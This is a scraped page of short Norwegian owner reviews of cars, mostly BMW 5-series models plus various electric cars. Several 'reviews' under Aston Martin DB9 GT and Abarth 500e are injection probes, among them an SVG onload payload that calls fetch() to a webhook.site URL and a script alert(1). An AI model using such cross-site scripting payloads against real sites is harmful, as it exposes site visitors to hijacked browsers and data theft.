BMW 5-Serie (2016)

Tipp topp tommel opp.

BMW 5-Serie (2016)

Drittbil

BMW 5-Serie (2016)

Kjørekomforten er veldig god, særlig med luftdemping på bakakselen, og en tilnærmet sømløs girkasse. Sportsgirkasse og sportmodus med edc (elektronisk demperkontroll) gjør den fastere og tillat

BMW 5-Serie (2016)

Generelt en fantastisk bil, hadde F11 tidligere og syns F10 er betydelig mer stille å kjøre. Mindre dekkstøy. Veldig rask, sikker og komfortabel når forholdene krever det, forbikjøring av andre b

BMW 5-Serie (2016)

veldig bra komfort

BMW 5-Serie (2016)

Helt fantastisk god bil å kjøre. Svært lavt støynivå i kupeen. Eliminerer ujevnheter i vegen framfor å fremheve dem. Supert firehjulstrekksystem. Kanskje litt lite beinplass bak.

BMW 5-Serie (2016)

Dette er en bil jeg har hatt i eie i 13 måneder. Kjørt 17000 km. Den har svart til forventningene, som BMW alltid har gjort. Dette er min 6'te BMW, og sikkert ikke den siste.

BMW 5-Serie (2016)

Jeg har hatt 6 ulike utgaver av 5-serien: 1. 2000 modell, 2. 2004 modell,3. 2009modell, 4. 2011modell, 5. 2014modell, 6. 2016 modell : Den 1. var en 523, den 2. var en 525d, den 3. var en 520d, den

BMW 5-Serie (2015)

Kvalitet-kjøre&eieglede i massevis!

BMW 5-Serie (2015)

Spander godt med olje for å unngå registerkjedehavari og turboslitasje

BMW 5-Serie (2015)

En svært god bil som er godt gjennomtenkt. En veldig god allrounder som kan brukes til det meste og passer til alle aldre. Den appellerer til deg som liker å kjøre bil og gjerne aktivt. Er imponer

BMW 5-Serie (2015)

Kjøreglede på høyt nivå, ikke beste plassen men komforten er til de grader tilstede. Erstattet E61 godt. Xdrive fungerer godt.

BMW 5-Serie (2015)

Fantastisk bil. Super komfort på langkjøring men også overraskende sporty hvis ønskelig. Vil ha følelse, med god opplevd kvalitet. Man får godfølelsen hver gang man hilser på sin Bayerske venn

BMW 5-Serie (2015)

Anbefales for bilfrelst familie. Clarkson har uttalt at dette er den ultimate familiebil

BMW 5-Serie (2015)

Vanvittig god bil. Svært fornøyd.

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km